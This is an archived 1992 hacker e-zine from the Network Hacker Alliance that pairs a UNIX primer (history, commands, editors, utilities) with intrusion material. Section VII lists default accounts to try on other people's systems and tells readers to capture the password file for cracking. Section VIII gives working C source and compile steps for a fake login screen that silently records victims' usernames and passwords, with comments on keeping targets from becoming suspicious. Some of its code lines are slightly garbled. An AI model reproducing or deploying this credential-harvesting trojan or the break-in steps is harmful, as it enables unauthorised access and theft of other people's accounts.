home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / e-zines / nha-002.txt < prev    next >
Text File  |  1992-08-29  |  30KB  |  983 lines

  1.  
  2.  
  3.              ___     ___     ___     ___     ___________
  4.             |   \   |   |\  |   |\  |   |\  |           |\
  5.             |    \  |   | | |   | | |   | | |    ___    | |
  6.             |     \ |   | | |   |_|_|   | | |   |\ _|   | |
  7.             |      \|   | | |           | | |   |_|_|   | |
  8.             |   |\      | | |    ___    | | |    ___    | |
  9.             |   | \     | | |   |\ _|   | | |   |\ _|   | |
  10.             |   | |\    | | |   | | |   | | |   | | |   | |
  11.             |   | | |   | | |   | | |   | | |   | | |   | |
  12.             |___| | |___| | |___| | |___| | |___| | |___| |
  13.              \___\|  \___\|  \___\|  \___\|  \___\|  \___\|
  14.  
  15.  
  16.  
  17.             - A Production of the NetWork Hacker Alliance INC -
  18.  
  19.  
  20.                 PreZidents:Inphiniti & Code of Honor & Cobra
  21.  
  22.                        NHA Member Boards Listing
  23.                        +=+=+=+=+=+=+=+=+=+=+=+=+
  24.      +---------------------+---------------+-------------+---------+
  25.      | Inphiniti's Edge    | 216-662-5115  | NHA *WHQ*   | NoT     |
  26.      | Project Phusion     | 301-365-9249  | NHA Node 1  | NoT     |
  27.      | Realm of Chaos      | 516-466-8259  | NHA Node 2  | Ex-NASTY|
  28.      +---------------------+---------------+-------------+---------+
  29.  
  30.  
  31.           NHA is now accepting applications.. If you are intrested
  32.           and knowledgable in the Hacking of Networks and Phreaking
  33.           etc, please call your fine H/p bbs system and download
  34.           'NHA-APP.TXT' and upload it to Inphiniti's Edge.
  35.  
  36.                          +--------------------------+
  37.                          |        -- NHA --         |
  38.                          | NetWork Hackers Alliance |
  39.                          +--------------------------+
  40.  
  41.                                   Presents
  42.  
  43.               Issue 2 : "Unix Information and Hacking"
  44.  
  45.                            Compiled by Inphiniti & Cobra
  46.                              Edited by Inphiniti & Cobra
  47.   ---
  48.   AXiS & NHA have merged as of 06/30/91 for the better of H/P in America.
  49.   ---
  50.  
  51.   ---
  52.   Index
  53.  
  54.   I.    Introduction
  55.   II.   History of UNIX
  56.   III.  Unix Portability (other names for Unix)
  57.   IV.   Frequently Used Commands (explained in detail)
  58.   V.    Unix Editors (explained in detial)
  59.   VI    Standard Unix Utilities
  60.   VII.  UNIX Default Accounts
  61.   VIII. UNIX Password Attacker
  62.   IX.    Closing Remarks
  63.   ---
  64.  
  65.  +-----------------+
  66.  | I. Introduction |
  67.  +-----------------+
  68.  
  69.               What is an Operating System?
  70.  
  71.     UNIX is a modern day operating system.  But, what is an operating system?
  72.   One definition of an operating system is:
  73.  
  74.     "the programs of a digital computer system which, together with the
  75.  characteristics of the computer system, form the basis of the various
  76.  operational modes of the digital computer system and especially those
  77.  which control and supervise the processing of programs."
  78.  
  79.     This compact and comprehensive description assumes the understanding of
  80.  some concepts.  The "digital computer system" is the hardware. These are the
  81.  physical components of the computer which can be touched.  Thirty years ago
  82.  this description would have been sufficient.  Today addicitonal concepts are
  83.  required.  Besides the "body", a computer system must have a "soul".  Since
  84.  a "soul" must be immaterial, it can only consist of software in a computer.
  85.  This software is the operating system.
  86.  
  87.   Therefore, the characteristics, better yet the hardware characteristics of
  88.  the computer system, together with the operating system form the basis of the
  89.  processing capabilities.  The operating system does not include all the
  90.  software in a computer.  This is the software which permites the user of the
  91.  system to execute the applications software specifically written to be used
  92.  with that operating system.  The user of a modern computer system is no
  93.  longer confronted by the hardware, but with the operating system such as UNIX.
  94.  
  95.     From this viewpoint of the user, there are three basic operating modes
  96.  
  97.    o  Batch Processing
  98.    o  Conversational (or interactive) mode
  99.    o  Real-time processing
  100.  
  101.   Batch processing originated during the time when executable programs were
  102.  read on a card reader in the form of a punched card dec, consisting of
  103.  control statements and the actual program..  The punched cards have now
  104.  disappeared - at best they can still be found as scraps for notes - but the
  105.  concept and the operating mode remains.
  106.  
  107.      Batch jobs
  108.  
  109.  A barch job must be defined completely and in the proper sequence. The ]
  110.  control statements are usually stored in a file.  One of these statements calls
  111.  the program to be executed  Several programs can be initiiated within a batch
  112.  job.  However, all required operating devices such as disck storage, magnetic
  113.  tape storage, printer, plotter, etc. must be requested from inside the job.
  114.  No calls to the operating system are permitted since they are not answered.
  115.  
  116.         Unix and MS-DOS,CP/M or OS/2
  117.  
  118.  UNIX is the oldest of the three systems, even though it has been discussed
  119.  only in the last few yeards.  CP/M and MS-DOS are oriented strongly toweds
  120.  the main features if UNIX.  The newer versions of MS-DOS resemble UNIX
  121.  very much.  Even the command syntax is very similar  The largest step in
  122.  the direction of UNIX came with DOS Version 2.0.
  123.  
  124.     Viewed from the users perspectivem the file systems of UNIX and DOS resemble
  125.     earch other alot.  Both orginate in a root are structured hierarchically
  126.     (like a tree).  Directories permit the user to retain an overview.  Besides
  127.     the common files and directories, UNIX also knows an additional type, the
  128.     device file.  Devide files provide an interface to the physical devices
  129.     which are addressed just like an ordinart file.  Special systems call for
  130.     control of the peripherals and are therefore not required.
  131.  
  132.  Internally a UNIX file differs from a CO/M or DOS file. The orientation
  133.  towards the record oand bloack structure of a disk has been dropped.  UNIX
  134.  recoqnizes only blocks which contain byte chains.  The type of file does
  135.  not make any difference to UNIX, since it is only a concern of the
  136.  application program using the file.
  137.  
  138.  +---------------------+
  139.  | II. History of Unix |
  140.  +---------------------+
  141.  
  142.     The history of UNIX begain in 1969 at Bell Labortatories, which is part
  143.     of AT&T.  Kennth Thompson developed an operating system writtern in
  144.     DEC PDP-7 assembler code for the "Soace Travel" project.  He called it
  145.     UNIX.  The names was derived from the preceding operating system
  146.     Multics which was less conservative in the use of scare computer
  147.     resources.  UNIX was at first a single user variant of Multics.
  148.  
  149.   In 1971 UNIS was implemented again in assembler code on ther more powerful
  150.   computers of the PDP-11 series.  To become more independant from another
  151.   change in hardware, Thompson planned a new implementation in a higher level
  152.   language.  He developed the B language from BCPL in 1970, but this language
  153.   did not prove powerful enough.
  154.  
  155.  After Dennis Ritchie, also a Bell, created the C language, UNIX was
  156.  rewritten almost completely in this higher level language by 1073. By
  157.  utilizing the advantages of C, UNIX became capable of handling multiusers
  158.  and multi-tasking.  UNIX was then machine independent and the start signal
  159.  for its rapid distribution was given.  At that time, Version 5 was still
  160.  being distributed to American universites free of chare for use in research
  161.  and education.  Berkeley University in particular developed UNIX further.
  162.  
  163.  The real triumph begain in 1975 with Version 6.  AT&T granted source
  164.  licenses to intrested companies, but without support.  From this
  165.  release, derivatives of UNIX were created with spilt away from the main
  166.  development.
  167.  
  168.     Version 7 of UNIX appeard about the same time as the first 16-bit
  169.     microprocessors.  This is the version onwhich most of todays Unix
  170.     derivatives are based.  A third branch also developed, which is
  171.     characterizedmost by the Microsoft product XENIX.
  172.  
  173.     Since 1983 AT&T has tried to bring the various development streams
  174.     together again.  Training, documentation and other support is
  175.     being offered.  The external sign is a new number series know as System
  176.     V.
  177.  
  178.  +------------------------+
  179.  |  III. Unix Portability |
  180.  +------------------------+
  181.  
  182.     System Name     Manufacturer
  183.     -----------     ------------
  184.     Aix             IBM
  185.     bsd             University of California at Berkeley
  186.     Coherent        Mark Williams Co.
  187.     Cromix          Cromemco
  188.     Edition VII     Perkin-Elmer
  189.     EUNIX           Electronic Info Systems, INC
  190.     IDRIS           Whitesmith Ltd.
  191.     IS/1            Interactive Systems, INC
  192.     IS/5            Interactive Systems, INC
  193.     JOS             CRDS
  194.     MUNIX           PCS
  195.     OS-1            Software Labs
  196.     SINIX           Siemens
  197.     Unica           Knowlogy
  198.     UTS             Amdahl
  199.     UNIX            Nixdorf
  200.     UX              Hwelett Packard
  201.     VENIX           Ventur Com Ulnc.
  202.     XENIX           Microsoft Co.
  203.     ZEUS            Zilog
  204.  
  205.  +-------------------------------+
  206.  | IV. Frequently Used Commands  |
  207.  +-------------------------------+
  208.  
  209.  
  210.      Name: CAL
  211.      Syntax:      cal [MM] yyyy
  212.      Function: Creates calendar excerpts.
  213.      Options: None
  214.  
  215.      Name: CANCEL
  216.      Syntax: cancel [reqiest-id ...] [printer ...]
  217.      Function: Print reuest made with ld or 1pr are canceled
  218.      Options: None
  219.  
  220.      Name: CAT
  221.      Syntax: cat [filename]
  222.      Function: Writes the files indicated screen
  223.      Options: none
  224.  
  225.      Name: CLEAR
  226.      Syntax: clear
  227.      Function: Clears the display screen.
  228.      Options: none
  229.  
  230.      Name: COMM
  231.      Syntax: comm [optoms] dat1 dat2
  232.      Function: Displays the lines common to files dat1 and dat2
  233.      Options: -1 \
  234.               -2  > Suppress output of the corresponding columns/lines
  235.               -3 /
  236.  
  237.      Name: CRYPT
  238.      Syntax: crypt [key]
  239.      Functions: Encodes and decodes text.
  240.      Options: None
  241.  
  242.      Name: DATE
  243.      Systax: date [date, time]
  244.      Functions: Outputs date and time
  245.      Options: None
  246.  
  247.      Name: DU
  248.      Syntax: du [option] [dat1] ...
  249.      Functions: Returns the disk usage or block assignment o the files.
  250.      Options: -a Block number for eache file (defult)
  251.               -s Only the total number of blocks is indicated
  252.  
  253.      Name: ECHO
  254.      Syntax: echo [arguments] [\character]
  255.      Function: Output of commentary in shell procedures.
  256.      Options: System dependant.
  257.  
  258.      Name: FILE
  259.      Syntax: file [options] file1 ...
  260.      Function: Attempts to determine the specified files class.
  261.      Options: Machine dependant.
  262.  
  263.      Name: GREP
  264.      Syntax: grep [options] expressions [file1] ...
  265.      Function: Searched the specified files for text patterns which
  266.               where indicated.
  267.      Options: -b Include Bloack numbers
  268.               -c Count number of matching lines
  269.               -f file Searches ex[ression is in the indicated file and not
  270.                       in the arguement.
  271.               -h No filename in the output line
  272.               -n Output line number in every hit line
  273.               -s No output, only status for procedures
  274.                           0 = hit
  275.                           1 = not hit
  276.                           2 = syntax error
  277.               -v Inversion of the command
  278.               -y No distinction made between upper and lower case letters
  279.  
  280.      Name: HEAD
  281.      Syntax: head [option] [file1] ...
  282.      Function: The first N lines of stdin, or the files indicated
  283.      Options: -n Indicates the numbner of lines from the beginning of the
  284.                  file.
  285.  
  286.      Name: LOGIN
  287.      Syntax: login NAME
  288.      Function: Logs new users on the system and removes old users.
  289.      Options: None
  290.  
  291.      Name: LP
  292.      Syntax: lp [options] [file1] ...
  293.      Function: Insterts a print request ino the wait quee of the spool
  294.                system.
  295.      Options: -c Creates a temporary Copy file
  296.               -m After print output, a message is sent by mail
  297.                  to the orginator
  298.               -r remove file after insertion of a temporary copy into
  299.                  waiting queue
  300.  
  301.      Name: LPSTAT
  302.      Syntax: lpstat [options] [request...]
  303.      Function: Provides information for the spool system, including
  304.                the current status of th print queue
  305.      Options: -u [list]  oputputs the status of all print requests for
  306.                          users in the list specified, each sperarated by
  307.                          a comma.
  308.  
  309.      Name: MORE & PG
  310.      Syntax: more [options] [file1] ...
  311.              pg [options] [file1] ...
  312.      Function: Display ready preparation of output with user controls
  313.                for ease of viewing.
  314.      Options: -l returs a disply ready list
  315.  
  316.      Name: PASSWD
  317.      Syntax: passwd [user-name]
  318.      Function: Change or define a new password
  319.      Options: None
  320.  
  321.      Name: PR
  322.      Syntax: pr [options] [file1] ...
  323.      Function: Prepates files for printing.
  324.      Options: -h     following textis output as header.
  325.               -l[n]  Lines per page
  326.               -n     n column output
  327.               -n[nz] Line numbering
  328.                    n = Number Size
  329.                    z Dividing charaters between line numbers and content
  330.               -o[n]  n charaters spaces at the left border
  331.               -p[n]  After n pages, wait so that baper can be changed
  332.               -t     Suppresses title, line numbers and date.
  333.               -w[n]  Page width in charaters.
  334.  
  335.      Name: PS
  336.      Syntax: ps [options] [process1 ...] [user1 ...]
  337.      Function: Gives status information about active processes.
  338.      Options: -a  All interactive processes.
  339.               -e  All process for all users.
  340.               -f  Complete information list
  341.               -l  long form of the information list.
  342.               -u user   all process for the indicated users.
  343.  
  344.      Name: SORT
  345.      syntax: sort [options] [+pos1] [-pos2] [file1] ...
  346.      Function. Sorts the lines of all files indicated according to
  347.                the ascii character set.
  348.      Options: -b     Ignore blanks and tab characters at the begining
  349.                      of the file.
  350.               -d     Consider only alphanumeric characters and blanks.
  351.               -f     Treat uppercase letters as lowercase
  352.               -r     Sort in revers order.
  353.               -t [c] Dividing character c, may not be a space
  354.  
  355.      Name: SPLIT
  356.      Syntax: split [-n] [file [name]]
  357.      Function: Splits the indicated file into parts of n lines each.
  358.      Option: -n  Number of lines for each partial file.
  359.  
  360.      Name: TAIL
  361.      Syntax: tail [n [units]] [file1 ...]
  362.      Functions: Copies the named file to stdout, beginning at the
  363.                 designated postion within the file.
  364.      Options: None
  365.  
  366.      Name: TIME
  367.      Syntax: time [command]
  368.      Function: Returns the execution time of a command or program with
  369.                actual delays in seconds.
  370.      Options: None
  371.  
  372.      Name: WC
  373.      Syntax: wc [options] [file1] ...
  374.      Function: Counts lines, words and/or charaters in the indicated file
  375.      Options: -l   counts only lines
  376.               -w   counts only words
  377.               -c   counts only characters
  378.  
  379.      Name: WHO
  380.      syntax: who
  381.      Function: Returns information about current users, user ids, terminals
  382.                and start of session.
  383.      Options: None
  384.  
  385.  +-----------------+
  386.  | V. Unix Editors |
  387.  +-----------------+
  388.  
  389.  There are three basic editors in the unix environment.  Some systems have
  390.  other non-portable editors but there are three basic ones.
  391.  
  392.  ed:
  393.    - line oriented
  394.    - interactive
  395.  
  396.  sed:
  397.    - line oriented
  398.    - not interactive
  399.    - for batch processing
  400.  
  401.  vi:
  402.    - most powerful UNIX editor
  403.    - interactive
  404.    - full screen capability
  405.  
  406.    -- ED Editor Command Summary --
  407.  
  408.     syntax: ed [-] [-x] [file]
  409.  
  410.     Commands
  411.     --------
  412.     a        append
  413.     i        insert
  414.     c        change
  415.     w [file] write to [file]
  416.     .        current line
  417.     $        last line
  418.     n        Specifir line number n
  419.     +n       Go ahead N lines
  420.     -n       Go back N lines
  421.     d        delete
  422.     e file   Reads file into current file
  423.     f        outputs name of processed files
  424.     j        join
  425.     l        list
  426.     p        print
  427.     r file   read and insserrs specified file behind the indicated buffer
  428.     m [line] move to line #
  429.     t [line] transfer to line #
  430.     u        undo
  431.     q        quit
  432.     !        executes the shell command
  433.  
  434.  
  435.    -- SED Editor Command Summary --
  436.  
  437.    Syntax: sed [-n] [-e script] [-f cmd_file] [input_file ...]
  438.  
  439.    Options: -e  sed command can be indicated directly
  440.             -f  sed command are read from specifierd command file
  441.             -n  suppresses the standard output
  442.  
  443.  
  444.    -- VI Editor Command Summary --
  445.  
  446.    a  append
  447.    i  insert
  448.    o  open
  449.  esc  to exit insert mode
  450.    w  write file
  451.    q  to quit
  452.    j  move down one line
  453.    k  move up one line
  454.  
  455.  +-----------------------------+
  456.  | VI. Standard Unix Utilities |
  457.  +-----------------------------+
  458.  
  459.    (Please Note: When entering this commands in UNIX you type in lower case)
  460.  
  461.   ACCEPT        Permits spooling request for printer
  462.  
  463.   ADB           Absolute debugger
  464.  
  465.   AR            Maintains portable archives and libaries
  466.  
  467.   AS            Assembler
  468.  
  469.   AT            Executes commands at a later time
  470.  
  471.   AWK           Pattern scanning and processing language
  472.  
  473.   BANNER        Makes text banners
  474.  
  475.   BASENAME      Outputs filename from path name
  476.  
  477.   BATCH   Executes commands at a later time
  478.  
  479.   BC   Desktop calculator with programming constuctions
  480.  
  481.   BDIFF   Compares two large files
  482.  
  483.   BFS   Big file scanner
  484.  
  485.   CAL   Outputs a Calander
  486.  
  487.   CALENDAR  Appointment scheduler
  488.  
  489.   CANCEL  Cancels previous spool requests
  490.  
  491.   CAT   COncatenates and prints files
  492.  
  493.   CC   C Language compiler
  494.  
  495.   CD   Changed current work directory
  496.  
  497.   CHGRP   Changes group ownership of file or directory
  498.  
  499.   CHMOD   Changes file access permission
  500.  
  501.   CHOWN   Changes file ownership
  502.  
  503.   CMP   Compares two files
  504.  
  505.   COL   Filters revers line feeds
  506.  
  507.   COMM   Selects or rejects lines common to two sorted files
  508.  
  509.   CP   Copies files
  510.  
  511.   COIP   Copies files archives in and out
  512.  
  513.   CPP   C language preprocessor
  514.  
  515.   CRYPT   Encodes and Decodes text
  516.  
  517.   CSPLIT     Splits files based on pattern matching
  518.  
  519.   CT   Spawns a getty process to a remote terminal
  520.  
  521.   CTRACE  Traces C program execution
  522.  
  523.   CU        Calls another UNIX system
  524.  
  525.   CUT   Cuts out selected fields of each line of a file
  526.  
  527.   CREF    Generates C program cross-reference listing
  528.  
  529.   DATE   Sets or prints the current date
  530.  
  531.   DC    Desktop calculator
  532.  
  533.   DD   Performs file trasnformations
  534.  
  535.   DEROFF    Removes formatting commands from file
  536.  
  537.   DF    Displays free space in file system
  538.  
  539.   DIFF          Compares two files
  540.  
  541.   DIFF3   Compares three files
  542.  
  543.   DIRCMP  Compares directories
  544.  
  545.   DIRNAME  Outputs the path from a path name
  546.  
  547.   DIS    Object file disassembler
  548.  
  549.   DISABLE   Disables spooling on printer
  550.  
  551.   DU    Summarizes Disk usage
  552.  
  553.   ECHO   Echoes arguments
  554.  
  555.   ED   Line-oriented editor
  556.  
  557.   EDIT   Line-oriented editor
  558.  
  559.   ENABLE  Enables spooling on a printer
  560.  
  561.   ENV   Sets environment for command execution
  562.  
  563.   EXPR    Evaluates arguments as an expression
  564.  
  565.   FACTOR  Obtains prime factors of a number
  566.  
  567.   FGREP   Searchs a file for a character string
  568.  
  569.   FILE   Determines file type
  570.  
  571.   FIND   Searches for files
  572.  
  573.   FSDB   Debugs damaged file systems
  574.  
  575.   GED   Graphical Editor
  576.  
  577.   GETOPTS  Phrase command line options
  578.  
  579.   GLOSSARY  Displays definitions of UNIX system terms and symbols
  580.  
  581.   GRAPH   Draws a graph
  582.  
  583.   GRAPHICS  Accesses graphical and numerical commands
  584.  
  585.   GREEK   Selects terminal filter
  586.  
  587.   GREP   Selects lines of a file based on a pattern matching
  588.  
  589.   GUTIL   Graphical utilties
  590.  
  591.   HELP    Provides on-line help on UNIX commands
  592.  
  593.   HELPADM     Makes changes to the Help Facility Database
  594.  
  595.   ID     Outputs user and group ID's and names
  596.  
  597.   IPCS   Reports interprocess communication ffacilities status
  598.  
  599.   JOIN   Joins two tabular data files
  600.  
  601.   KILL    Terminates or signals a process
  602.  
  603.   LINE      Copies a line from standard input to output
  604.  
  605.   LN    Links file names
  606.  
  607.   LOGIN   Admits autorized users to system
  608.  
  609.   LOGNAME  Outputs the user's login name
  610.  
  611.   LP   Line printer spooler
  612.  
  613.   LPR   Line printer spooler
  614.  
  615.   LPADMIN   Configes the 1p spooling system
  616.  
  617.   LPSTAT   Printer spooling status information
  618.  
  619.   LS   Lists contents of directories
  620.  
  621.   M4   Macro processor
  622.  
  623.   MAIL     Sends and recieves UNIX mail
  624.  
  625.   MAILX   Extended Mail Facility
  626.  
  627.   MAKE   Regenerates groups of programs
  628.  
  629.   MAKEKEY  Regenerates encryption key
  630.  
  631.   MAN    Prints on-line manual entries
  632.  
  633.   MESG   Permits or denies messages
  634.  
  635.   MKDIR   Makes a Directory
  636.  
  637.   MKFS   Creates a file system on disk
  638.  
  639.   MKNOD   Creates a directory entry for a special file
  640.  
  641.   MOUNT   Mounts a file system
  642.  
  643.   MV   Moves files
  644.  
  645.   MVDIR   Moves a directory
  646.  
  647.   NEWFORM  Reformats lines of a text file
  648.  
  649.   NEWGRP  Changes active group membership
  650.  
  651.   NEWS   Prints News commands
  652.  
  653.   NICE   Runs a program at reduced priority
  654.  
  655.   NL   Line numbering filter
  656.  
  657.   NOHUP   Runs a command immune from hang-ups and quits
  658.  
  659.   NROFF   Text formatter
  660.  
  661.   OD   Outputs an octal dump of a file
  662.  
  663.   PACK   Packs files
  664.  
  665.   PASSWD  Changes online users password
  666.  
  667.   PASTE   Merge lines of files
  668.  
  669.   PCAT   Concatenates packed files
  670.  
  671.   PG   Browse file contents on terminal screen
  672.  
  673.   PR   Print files
  674.  
  675.   PS   Outputs process status
  676.  
  677.   PWD   Prints the name of the current working directory
  678.  
  679.   RM   Removes files
  680.  
  681.   RMDIR   Removes directories
  682.  
  683.   RSH   Restricted UNIX system shell
  684.  
  685.   SAG   Outputs system activity graph
  686.  
  687.   SAR    Outputs system activity report
  688.  
  689.   SCAT   Concatenates and prints files
  690.  
  691.   SDB           Symbolic debugger
  692.  
  693.   SDIFF   Compares two files
  694.  
  695.   SED   Stream Editor
  696.  
  697.   SH   The Unix system shell
  698.  
  699.   SHL   Shell layer manager
  700.  
  701.   SHUTDOWN   Shuts down the system
  702.  
  703.   SLEEP   Suppends execution for a time interval
  704.  
  705.   SORT   Sorts and merges files
  706.  
  707.   SPLIT   Splits a file
  708.  
  709.   STARTER  Displays UNIX information for new users
  710.  
  711.   STRIP   Removres symbol table information from object file
  712.  
  713.   STTY   Sets ternubak characterustics
  714.  
  715.   SU   Tempararily changes the user-ID
  716.  
  717.   SUM   Outputs checksum and block count for file
  718.  
  719.   SYNC   Writes disk buffers to disk
  720.  
  721.   SYSADM  Menu Driven system administration utility
  722.  
  723.   TABS   Srets tabs on a terminal
  724.  
  725.   TAIL   Outputs the last oart of a file
  726.  
  727.   TAR   Tape file archiver
  728.  
  729.   TEE   Pipe fitter
  730.  
  731.   TEST   Evaluates conditions
  732.  
  733.   TIME   Times command execution
  734.  
  735.   TOUCH   Updates access and modifications times of a file
  736.  
  737.   TR   Character translation fiflter
  738.  
  739.   TROFF   Phototypesetter text formatter
  740.  
  741.   TRUE   Returns true value
  742.  
  743.   TTY   Outputs name of a terminal
  744.  
  745.   UNMASK  Setsr file creation mode mask
  746.  
  747.   UMOUNT  Dismounts a file system
  748.  
  749.   UNAME   Outputs the name of the current UNIX system
  750.  
  751.   UNIQ    Outputs a file with unique lines
  752.  
  753.   UNITS   Performs units conversions
  754.  
  755.   UNPACK  Unpacks packed files
  756.  
  757.   USAGE   Displays information about command usage
  758.  
  759.   UUCP   Copies files between UNIX systems
  760.  
  761.   UULOG   Outputs UUCP log information
  762.  
  763.   UUNAME   Outputs UUCP names of known systems
  764.  
  765.   UUSTAT  Outputs UUCP status information
  766.  
  767.   UUX   Executes a command on a remote UNIX system
  768.  
  769.   VI   Full screen editor
  770.  
  771.   WAIT   Waites for completeion of background processing
  772.  
  773.   WALL   Sends a message to all users
  774.  
  775.   WC   Outputs line, word and character counts for files
  776.  
  777.   WHO   Outpurts information on current users
  778.  
  779.   WRITE   Sends messages to another user
  780.  
  781.   XARGS   Constructs an argument list and executes a command
  782.  
  783.   YACC   Compiler-generating tool
  784.  
  785.  
  786. +----------------------------+
  787. | VII. Unix Defualt Accounts |
  788. +----------------------------+
  789.  
  790.    Super User Default Accounts
  791.  
  792.    ROOT
  793.    MAKESYST
  794.    MOUNTSYS
  795.    UMUNTFSYS
  796.    CHECKSYS
  797.    FSYS
  798.  
  799.    Regular User Defaults
  800.  
  801.    DAEMON
  802.    DAEMONx  (x value is 1 thru 9)
  803.    LP
  804.  
  805.    Unix Systems that have already been hacked try..
  806.  
  807.    ROCUSER
  808.    IEx      (x value is 1 thru 4)
  809.    ANONYMOUS
  810.    GUEST
  811.  
  812.  
  813.     If it askes for a password I doubt you will get in but always try the
  814.     account name.
  815.  
  816.     Once in type this (at the waiting prompt usually a # or $)
  817.  
  818.     cd /ETC     (UNIX root directory)
  819.     cat PASSWD  (UNIX password file)  <--- Capture this if you can get it
  820.        then find a UNIX hacker on your local H/P board and let it run!
  821.  
  822.  +------------------------------+
  823.  | VIII. Unix Password Attacker |
  824.  +------------------------------+
  825.  
  826.  
  827. /* this is what a 'C' comment looks like.  You can leave them out. */
  828.  
  829. /* #define's are like macros you can use for configuration. */
  830.  
  831. #define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
  832.  
  833. /* The above string should be made to look like the message that your
  834.  * system prints when ready.  Each \n represents a carriage return.
  835.  */
  836.  
  837. #define LOGIN  "login: "
  838.  
  839. /* The above is the login prompt.  You shouldn't have to change it
  840.  * unless you're running some strange version of UNIX.
  841.  */
  842.  
  843. #define PASSWORD "password:"
  844.  
  845. /* The above is the password prompt.  You shouldn't have to change
  846.  * it, either.
  847.  */
  848.  
  849. #define WAIT 2
  850.  
  851. /* The numerical value assigned to WAIT is the delay you get after
  852.  * "password:" and before "login incorrect."  Change it (0 = almost
  853.  * no delay, 5 = LONG delay) so it looks like your system's delay.
  854.  * realism is the key here - we don't want our target to become
  855.  * suspicious.
  856.  */
  857.  
  858.  
  859. #define INCORRECT "Login incorrect.\n"
  860.  
  861. /* Change the above so it is what your system says when an incorrect
  862.  * login is given.  You shouldn't have to change it.
  863.  */
  864.  
  865. #define FILENAME "stuff"
  866.  
  867. /* FILENAME is the name of the file that the hacked passwords will
  868.  * be put into automatically.  'stuff' is a perfectly good name.
  869.  */
  870.  
  871. /* Don't change the rest of the program unless there is a need to
  872.  * and you know 'C'.
  873.  */
  874.  
  875. #include <curses.h>
  876. #include <signal.h>
  877. int stop();
  878.  
  879. main()
  880. {
  881. char name[10], password[10];
  882. int i;
  883. FILE *fp, *fopen();
  884. signal(SIGINT,stop);
  885. initscr();
  886. printf(SYSTEM);
  887. printf(LOGIN);
  888. scanf("%[^\n]",name);
  889. getchar();
  890. noecho();
  891. printf(PASSWORD);
  892. scanf("%[^\n]",password);
  893. printf("\n");
  894. getchar();
  895. echo();
  896. sleep(WAIT);
  897.  
  898.  
  899. if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
  900. #fprintf(fp,"login %s has password %s\n",name,password);
  901. #fclose(fp);
  902. #}
  903.  
  904. printf(INCORRECT);
  905. endwin();
  906. }
  907.  
  908. stop()
  909. {
  910. endwin();
  911. exit(0);
  912. }
  913.  
  914. -- END --
  915.  
  916. ** this is how you compile it
  917.  
  918.  cc horse.c -lcurses -ltermcap
  919.  mv a.out horse
  920.  source trap            (again, don't type the %)
  921.  
  922.  
  923.  
  924.  +---------------------+
  925.  | IX. Closing Remarks | 
  926.  +---------------------+
  927.  
  928.  
  929.    Well this is the end of Unix Hacking Volume I.  You should have a firm
  930.    awareness with UNIX now and I hope you continue to grow and wait for
  931.    our UNIX Hacking Voulume II which will contains holes into the unix
  932.    system..
  933.    
  934.    NHA nor the Author(s) of this file are responisble for any use that
  935.    may come into play by the reader. This is meant for education purposes
  936.    only not for any illegal activities.
  937.    
  938.              ___     ___     ___     ___     ___________
  939.             |   \   |   |\  |   |\  |   |\  |           |\
  940.             |    \  |   | | |   | | |   | | |    ___    | |
  941.             |     \ |   | | |   |_|_|   | | |   |\ _|   | |
  942.             |      \|   | | |           | | |   |_|_|   | |
  943.             |   |\      | | |    ___    | | |    ___    | |
  944.             |   | \     | | |   |\ _|   | | |   |\ _|   | |
  945.             |   | |\    | | |   | | |   | | |   | | |   | |
  946.             |   | | |   | | |   | | |   | | |   | | |   | |
  947.             |___| | |___| | |___| | |___| | |___| | |___| |
  948.              \___\|  \___\|  \___\|  \___\|  \___\|  \___\|
  949.  
  950.             - A Production of the NetWork Hacker Alliance INC -
  951.  
  952.                 PreZidents:Inphiniti & Code of Honor & Cobra
  953.  
  954.                        NHA Member Boards Listing
  955.                        +=+=+=+=+=+=+=+=+=+=+=+=+
  956.      +---------------------+---------------+-------------+---------+
  957.      | Inphiniti's Edge    | 216-662-5115  | NHA *WHQ*   | NoT     |
  958.      | Project Phusion     | 301-365-9249  | NHA Node 1  | NoT     |
  959.      | Realm of Chaos      | 516-466-8259  | NHA Node 2  | Ex-NASTY|
  960.      +---------------------+---------------+-------------+---------+
  961.  
  962.  
  963.  
  964.  
  965.  
  966.           NHA is now accepting applications.. If you are intrested
  967.           and knowledgable in the Hacking of Networks and Phreaking
  968.           etc, please call your fine H/p bbs system and download
  969.           'NHA-APP.TXT' and upload it to Inphiniti's Edge.
  970.  
  971.                   With this file we welcome Keener into NHA.
  972.  
  973.  
  974.                  N.H.A.  The Future of Hacking and Phreaking
  975.  
  976.  
  977.                  In the works....
  978.  
  979.                             CBI Advanced Usage
  980.                             TRW Advanced Usage
  981.                             Milton.Edu Advanced Usage
  982.  
  983.                            more to come from N.H.A.